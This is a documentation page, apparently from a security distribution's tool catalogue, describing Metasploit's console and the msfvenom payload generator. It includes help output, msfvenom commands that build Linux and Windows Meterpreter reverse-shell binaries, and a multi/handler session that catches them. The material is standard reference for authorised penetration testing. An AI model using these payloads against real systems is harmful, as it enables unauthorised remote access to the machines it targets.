Exploitation Tools
metasploit
metasploit is the framework the whole category orbits. It bundles thousands of
exploits, a matching set of payloads, encoders, and post-exploitation modules, and
a workflow that ties them together: pick an exploit for the vulnerability you
found, pick a payload for what you want to happen when it lands, set the options,
and fire. When it works you get a session — often a Meterpreter shell, its
powerful post-exploitation agent — on the target. It’s the single most important
tool in offensive security, and it repays learning deeply.
Official-repo package; Security → Exploitation Tools → metasploit. It ships a
whole family of binaries: msfconsole (the main interactive console), msfvenom
(standalone payload generator), msfdb (database setup), msfrpcd (RPC daemon),
and msfmcpd (an MCP server, which also appears under AI Tools).
Metasploit uses a PostgreSQL database — start it from Running
Services and run msfdb init once.
The console’s help
Usage: msfconsole [options]
Common options:
-E, --environment ENVIRONMENT Set Rails environment, defaults to RAIL_ENV environment variable or 'production'
Database options:
-M, --migration-path DIRECTORY Specify a directory containing additional DB migrations
-n, --no-database Disable database support
-y, --yaml PATH Specify a YAML file containing database settings
Framework options:
-c FILE Load the specified configuration file
-v, -V, --version Show version
Module options:
--[no-]defer-module-loads Defer module loading unless explicitly asked
-m, --module-path DIRECTORY Load an additional module path
Console options:
-a, --ask Ask before exiting Metasploit or accept 'exit -y'
-H, --history-file FILE Save command history to the specified file
-l, --logger STRING Specify a logger to use (Stderr, Stdout, StdoutWithoutTimestamps, TimestampColorlessFlatfile, Flatfile)
--[no-]readline
-L, --real-readline Use the system Readline library instead of RbReadline
-o, --output FILE Output to the specified file
-p, --plugin PLUGIN Load a plugin on startup
-q, --quiet Do not print the banner on startup
-r, --resource FILE Execute the specified resource file (- for stdin)
-x, --execute-command COMMAND Execute the specified console commands (use ; for multiples)
-h, --help Show this message
The payload generator’s help
msfvenom builds standalone payloads — the reverse shells and stagers you drop on
a target:
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/msfvenom [options] <var=val>
Example: /opt/metasploit/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
--refresh-cache Rebuild the module metadata cache from disk before listing
-h, --help Show this message
Examples
# Launch the console
msfconsole
# Generate a Linux reverse-shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f elf -o shell.elf
# Generate a Windows reverse-shell exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe -o shell.exe
A typical console session:
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.0.0.2
msf6 > set LPORT 4444
msf6 > run
The Security menu prints your IP addresses when you launch Metasploit, so the
LHOST you need is right in front of you.